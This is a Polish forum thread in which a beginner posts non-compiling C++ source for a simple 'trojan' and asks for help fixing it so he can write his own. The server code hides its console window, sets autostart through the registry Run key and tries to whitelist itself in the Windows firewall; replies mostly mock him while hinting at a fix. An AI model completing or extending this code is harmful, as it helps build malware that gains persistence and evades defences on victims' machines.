Pokaż wyniki 1 do 8 z 8

Temat: Błąd w kodzie trojana

  1. #1

    Domyślnie Błąd w kodzie trojana

    Witam. Znalazłem w internecie kod źródłowy jakiegoś trojana napisanego w C++ W kodzie został celowo umieszczony jakiś błąd logiczny, żeby osoby nie znające języka nie mogły go skompilować. Dopiero się uczę i nie potrafię rozszyfrować gdzie znajduje się ten błąd, a chciałem napisać swojego trojana używajać gotowego kodu i samodzielnie dodając nowe funkcje. Mógłby mi ktoś powiedzieć, w którym miejscu znajduje się błąd i jak go poprawić?
    Klient:
    Kod:
    #include <winsock.h> 
    #include <string> 
    #include <iostream> 
    using namespace std;
    
    WSADATA wsadata; 
    struct hostent *serwer; 
    SOCKET klient; 
    SOCKADDR_IN adres;
    
    int main()
    {
    WSAStartup(MAKEWORD(2,2), &wsadata); 
    klient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    
    string adresip, wiadomosc; 
    cout << "Polacz z: "; 
    getline(cin, adresip); 
    int PORT = 44777; 
    int dziennik_bledow; 
    adres.sin_family = AF_INET; 
    adres.sin_port = htons(PORT); 
    adres.sin_addr.s_addr = inet_addr(adresip.c_str());
    
    dziennik_bledow = connect(klient, (struct sockaddr*)&adres, sizeof(adres)); 
    while(1) 
    { 
        cout << "Podaj tresc wiadomosc jaka ma byc wyswietlona na serwerze: "; 
        getline(cin, wiadomosc); 
        dziennik_bledow = send(klient, wiadomosc.c_str(), wiadomosc.length(), 0); 
        if(dziennik_bledow == SOCKET_ERROR) 
    cout << "\t\v\a Blad wysylania danych do serwera!" << endl; 
    else cout << "\t\v Wyslano! " << endl; 
    Sleep(10); 
    } 
    getchar();
    }
    Serwer:
    Kod:
    #include <winsock.h> 
    #include <string> 
    #include <iostream> 
    #include <windows.h> 
    using namespace std;
    
    WSADATA wsadata; 
    SOCKET klient, nasluch; 
    SOCKADDR_IN adres, adres_klienta; 
    string tresc, wartosc; 
    char wiadomosc[512];
    
    int main()
    {
    HWND okno = FindWindow("ConsoleWindowClass", 0); 
    ShowWindow(okno, SW_HIDE);
    
    HKEY klucz; 
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &klucz); 
    RegSetValueEx(klucz, "trojan-jacek", 0, REG_SZ, (BYTE*)argv[0], strlen(argv[0])); 
    RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parametrs\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &klucz); 
    wartosc = argv[0]; 
    wartosc += ":*:Enabled:"; 
    wartosc += argv[0]; 
    RegSetValueEx(klucz, argv[0], 0, REG_SZ, (BYTE*)"trojan-jacek", strlen("trojan-jacek"));
    
    WSAStartup(MAKEWORD(2,2), &wsadata); 
    nasluch = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 
    int PORT = 44777; 
    int adres_dlugosc; 
    adres.sin_family = AF_INET; 
    adres.sin_port = htons(PORT); 
    adres.sin_addr.s_addr = htonl(INADDR_ANY); 
    bind(nasluch, (struct sockaddr*)&adres, sizeof(adres)); 
    listen(nasluch, 10); 
    adres_dlugosc = sizeof(adres_klienta); 
    klient = accept(nasluch, (struct sockaddr*)&adres_klienta, &adres_dlugosc);
    
    while(1) 
    { 
    for(int i = 0 ; i < sizeof(wiadomosc) ; i++) 
    { 
    char c[1] = ""; 
    wiadomosc[i] = c[0]; 
    } 
        recv(klient, wiadomosc, sizeof(wiadomosc), 0); 
    tresc = wiadomosc; 
    if(tresc != "") 
    MessageBox(0, tresc.c_str(), "TROJANIZED", MB_ICONERROR); 
    } 
        closesocket(klient); 
        WSACleanup(); 
    return 0;
    }

  2. #2

    Domyślnie

    Wiesz co odpowiedział bym Ci gdzie są błąd, ale jak ty takiego błędu nie widzisz... Człowieku... Nie założyłeś okularów, czy czytać nie potrafisz? Serio nie bierz się za pisanie trojanów, bo jesteś bardzo, bardzo początkujący. Zacznij od "Hello world!!!" w konsoli. To tyle ode mnie. Wróć tutaj później... O tak przy okazji jakiego IDE i kompilatora używasz?

  3. #3

    Domyślnie

    Używam Code Blocks i kompilatora GNU GCC Compiler, bo słyszałem, że na tym się najłatwiej nauczyć początkującym. Kompilator uważa, że w kliencie na końcu nie powinno być "getchar ()". Mi się wydaje, że to coś nie tak z pętlą na końcu, ale nie jestem na 100% pewny. Może ten błąd jest jakiś banalny nawet dla kogoś kto dopiero zaczyna, ale ja nie umiem go znaleźć. Nie musisz za mnie poprawiać błędu, możesz mnie na niego chociaż nakierować.

  4. #4

    Domyślnie

    ta petla jesli chodzi o odbior z soketa jest dziadowa mialem o tym napisac ale dalem sobie spokuj bo uwazam podobnie jak kolega. jesli ci to nie dziala to przepisuj to do momentu do ktorego rozumiesz ten kod. jak trafisz na cos nie jasnego np. jakas funkcje to googluj czytaj mana i bedziesz wiedziec co dalej.

  5. #5

    Domyślnie

    Cytat Napisał Pio Zobacz post
    Używam Code Blocks i kompilatora GNU GCC Compiler, bo słyszałem, że na tym się najłatwiej nauczyć początkującym.
    Co ma kompilator i ide do nauki języka?
    Cytat Napisał Pio Zobacz post
    Kompilator uważa, że w kliencie na końcu nie powinno być "getchar ()". Mi się wydaje, że to coś nie tak z pętlą na końcu, ale nie jestem na 100% pewny. Może ten błąd jest jakiś banalny nawet dla kogoś kto dopiero zaczyna, ale ja nie umiem go znaleźć. Nie musisz za mnie poprawiać błędu, możesz mnie na niego chociaż nakierować.
    Cóż wystarczy przeczytać co ci się wypisuje tam na dole w takim okienku pod kodem . Podzielisz się tym z nami?

  6. #6

    Domyślnie

    Próbowałem wcześniej tą pętlę po swojemu zrobić ale zupełnie mi nie wychodziło. Nie za bardzo rozumiem do czego służy "else".
    Cytat Napisał asmen Zobacz post
    Cóż wystarczy przeczytać co ci się wypisuje tam na dole w takim okienku pod kodem . Podzielisz się tym z nami?
    klient (przedostatnia linijka):
    Kod:
    error: 'getchar' was not declared in this scope
    serwer:
    Kod:
    "error: 'argv' was not declared in this scope"
    Błąd w serwerze zaznaczyłem w poniższym kodzie na czerwono

    Kod:
    #include <winsock.h>
    #include <string>
    #include <iostream>
    #include <windows.h>
    using namespace std;
    
    WSADATA wsadata;
    SOCKET klient, nasluch;
    SOCKADDR_IN adres, adres_klienta;
    string tresc, wartosc;
    char wiadomosc[512];
    
    int main()
    {
    HWND okno = FindWindow("ConsoleWindowClass", 0);
    ShowWindow(okno, SW_HIDE);
    
    HKEY klucz;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &klucz);
    RegSetValueEx(klucz, "trojan-jacek", 0, REG_SZ, (BYTE*)argv[0], strlen(argv[0]));
    RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parametrs\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &klucz);
    wartosc = argv[0];
    wartosc += ":*:Enabled:";
    wartosc += argv[0];
    RegSetValueEx(klucz, argv[0], 0, REG_SZ, (BYTE*)"trojan-jacek", strlen("trojan-jacek"));
    
    WSAStartup(MAKEWORD(2,2), &wsadata);
    nasluch = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    int PORT = 44777;
    int adres_dlugosc;
    adres.sin_family = AF_INET;
    adres.sin_port = htons(PORT);
    adres.sin_addr.s_addr = htonl(INADDR_ANY);
    bind(nasluch, (struct sockaddr*)&adres, sizeof(adres));
    listen(nasluch, 10);
    adres_dlugosc = sizeof(adres_klienta);
    klient = accept(nasluch, (struct sockaddr*)&adres_klienta, &adres_dlugosc);
    
    while(1)
    {
    for(int i = 0 ; i < sizeof(wiadomosc) ; i++)
    {
    char c[1] = "";
    wiadomosc[i] = c[0];
    }
        recv(klient, wiadomosc, sizeof(wiadomosc), 0);
    tresc = wiadomosc;
    if(tresc != "")
    MessageBox(0, tresc.c_str(), "TROJANIZED", MB_ICONERROR);
    }
        closesocket(klient);
        WSACleanup();
    return 0;
    }

  7. #7

    Domyślnie

    Cytat Napisał Pio Zobacz post
    Nie za bardzo rozumiem do czego służy "else".
    Do książek, ale to już!

    wklej w msdn RegSetValueEx i zobacz do czego jest 5 argument.

  8. #8

    Domyślnie

    @autor ocb ma rację natychmiast do książek!
    Poczułem przypływ energii typu: wow umiem wyświetlić coś w konsoli! Napiszę trojana ;p

    @ocb jest z nim źle, ale lepiej niż myślałem xD. Nie napisał, że ma unresolved external... Haha... Pewnie jeszcze napisze

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj